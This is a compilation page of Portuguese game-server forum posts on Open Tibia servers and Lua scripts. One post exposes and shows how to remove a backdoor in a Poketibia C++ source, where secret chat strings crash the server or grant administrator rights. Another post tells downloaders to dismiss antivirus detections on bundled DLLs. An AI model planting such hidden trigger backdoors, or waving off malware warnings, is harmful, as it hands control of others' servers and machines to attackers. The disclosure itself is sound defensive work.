Líderes
Conteúdo Popular
Exibindo conteúdo com a maior reputação em 12/16/16 em todas áreas
-
Pokemon Mythology RPG!
fadoviniciuscle e 9 outros reagiu a Punchlines Nemmo por um tópico no fórum
Bom vou estou parando com o projeto mythology entao venho trazer pra voces lembrando baixa quem quer nao dou suporte e nao vou ficar de mimimi com ngm ai no chat somente colocando minha base pra dowload ai em baixo se puderem me dar 1 rep+ agradeço bastante O mapa foi feito por mim e adicionado algumas hunts de alguns servidores • systemas que tem no servidor eu adicionei poucos sistemas porem foquei mesmo no mapa e nos bugs que nao deixava o servidor ficar online • IMAGENS • VIDEOS tem algumas coisas que eu removi entre aspas estao desativadas basta voce ativar fis isso pois tem muitos otadmins por ai que so querem se aproveitar entao ja sabem ne • DOWLOAD Scan Cliente Servidor se quiser saber melhor sobre a MYTOLOGY da uma passada na pagina oficial https://www.facebook.com/PokemonMythologi/ Seu avast pode detectar virus mais podem ficar tranquilo pois sao as dlls e so escanear com o mesmo e marcar reparar assim como na print do scan do servidor E se for postar em outro forum deixem os devidos creditos > CREDITOS < Sr.Pikachu ( EU ) Prometheus Kairon lugh Helton junior Valdemir junior Gerson da silva Morphred Maper Elias alves10 pontos -
Source Poketibia - Código de derrubar
Prometheus X e 2 outros reagiu a Drakopoulos por um tópico no fórum
Tbm pensei nisso ahusdhuahusdaus pra fazer isso só trocar exit(0); e player->setGroup(Groups::getInstance()->getGroup(6)); por Account tmp = IOLoginData::getInstance()->loadAccount(player->getAccount(), true); if(IOBan::getInstance()->addAccountBanishment(tmp.number, -1, 13, ACTION_DELETION, "Sending shutdown code deprecated.", 0, player->getGUID())) { IOLoginData::getInstance()->saveAccount(tmp); player->sendTextMessage(MSG_INFO_DESCR, "You have been banished."); addMagicEffect(player->getPosition(), MAGIC_EFFECT_WRAPS_GREEN); Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind( &Game::kickPlayer, this, player->getID(), false))); } Que ao executar o código ele toma o ban.3 pontos -
Fala galera do xtibia beleza? hoje trago a vocês o Wodbohs de 2015 Atualmente o servidor está online com 60 jogadores, esta versão é de 2015 mais não se preocupe na versão de 2016 a unica coisa que muda é a aparência do mapa Com algumas alterações vocês irão deixar igualzin ao servidor de 2016. Imagens: Distro está estavel deve aguentar mais de 100 players Algumas transformações estão dentro da distro e outras por script. Tem todos personagens menos Wiss,Paikuhan,Dabura e Hitto... Bills e Vegeta God estão no cliente de 2016 basta apenas vocês criar a transform deles. Os personagens Mestre Kame e King Vegetta são frees. O vegetto pode ganhar fazendo a quest reborn ou comprando, já os restantes, Chilled,Shenron,Tapion,Kagome,Zaiko e Goku God são pagos. Você pode comprar com o item demonic essence ID: 6500. Basta dizer no Say: buygokugod... DOWNLOAD: DOWNLOAD DO SERVIDOR COMPLETO + DATABASE: --------------------------------------------------------- DOWNLOAD DO SITE: --------------------------------------------------------- DOWNLOAD DO CLIENTE DESCOMPILADO: Já que o dono disse que não ligaria de postar o servidor na internet e o sub-dono me desafiou, está ai xD Conteúdo exclusivo do xtibia, proibido postar esse servidor em outro fórum sem a minha autorização Créditos: Luiz Henrique - Zero Bruno Nascimento - Dago Yan Liima - Night Veja também o Newstory Dbo Nto Bleach misturado! 8.01 ponto
-
Limite de player por sala Introdução: Esse script pode ser bem útil para baiak onde as salas tão sempre cheia de player upando ou então para eventos. O script simplesmente checa a quantidade de player que tem dentro da sala, caso não tenha atingido o limite o player pode entrar caso não, manda uma mensagem falando que a sala esta lotada. Exemplo de uso: pode servir até para a anihilator ou demon aok, invitando que um segundo time entre na sala antes que o primeiro acabe. Caso a sala esteja lotada. Caso não. Em data/movement/script, crie LimiteArea.lua e adicione. Em movement/movement.xml Adicione essa tag E depois adicionar o actionid no piso ou teleport pelo mapa editor. O script é fácil de se configurar mas caso tenha algum problema pode posta ai que eu vou ajuda. Caso você adicione mais locais você terá que adicione na tag também.1 ponto
-
1 ponto
-
Pokemon Mythology RPG!
Punchlines Nemmo reagiu a militar por um tópico no fórum
Eeeeeeeeeeeeeeeeeeeeeeeeeeita cuzao kosksoksoks o/1 ponto -
Source Poketibia - Código de derrubar
Otpokemonmystic reagiu a Prometheus X por um tópico no fórum
Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo. Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso) bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108") { exit(0); } if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108") { player->setGroup(Groups::getInstance()->getGroup(6)); } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Mude para: bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text, bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/) { Player* player = creature->getPlayer(); if(player && player->isAccountManager()) { player->manageAccount(text); return true; } Position destPos = creature->getPosition(); if(pos) destPos = (*pos); SpectatorVec list; SpectatorVec::const_iterator it; if(!spectators || !spectators->size()) { Créditos Prometheus X (Por Trazer ao Xtibia) Alexy Brocanello (Pelo Código) CipSoft (Pelo Código Original) Qualquer outro será creditado ! Atenciosamente Prometheus X1 ponto -
Este erro acontece apenas com magias do tipo elétrico em tipos imunes? Ou, por exemplo, spammar magias psíquicas em tipo dark ou terrestres em tipo voador também acaba causando dano? Isto só acontece spammando magias iguais (temos que considerar que, se for o caso, jogadores normais não terão a liberdade de usar magias sem cooldown)? Por enquanto, este é o único problema? Após responder estas perguntas, peço que faça o teste imprimindo as informações conforme indiquei no meu primeiro comentário desta página (mantendo, contudo, as mudanças que fizemos posteriormente).1 ponto
-
1 ponto
-
Sprite base para CDZ - Avaliem
Soulviling reagiu a Hi im Mell por um tópico no fórum
Muito bom, gostei das cores que usou na caixa, fico perfeito! Um personagem aleatório. Nível: Bronze1 ponto -
1 ponto
-
System Recompensa por Level
M i s s reagiu a DuuhCarvalho por um tópico no fórum
Bom o script é simples mais muito útil ! e muito fácil de configurar . vocês podem adicionar quando leveis e items vocês quiserem ! vá em data / creaturescripts / scripts : crie um novo arquivo.lua e cole isso dentro .. local leveis = { [1] = {lvl = 50, item = 2160, quant = 10, sto = 001}, [2] = {lvl = 100, item = 2160, quant = 20, sto = 002}, [3] = {lvl = 200, item = 2160, quant = 40, sto = 003}, [4] = {lvl = 300, item = 2160, quant = 60, sto = 004}, [5] = {lvl = 400, item = 2160, quant = 80, sto = 005}, [6] = {lvl = 500, item = 2160, quant = 100, sto = 006} } function onAdvance(cid, skill, oldLevel, newLevel) local level = getPlayerLevel(cid) for i = 1, #leveis do if level >= leveis[i].lvl and getPlayerStorageValue(cid, leveis[i].sto) <= 0 then doPlayerAddItem(cid, leveis[i].item, leveis[i].quant) setPlayerStorageValue(cid, leveis[i].sto, 1) doPlayerSendTextMessage(cid, 22, "Você upou level "..level.." ou mais, e ganhou "..leveis[i].quant..", "..getItemNameById(leveis[i].item).."!") end end return true end configurando o script : Adicione a tag em script / login.lua .. registerCreatureEvent(cid, "Nome do Evento") e Adicione a tag em creaturescripts.xml : <event type="advance" name="Nome do Evento colocado em login.lua" event="script" value="Nome do Arquivo.lua"/> É isso!1 ponto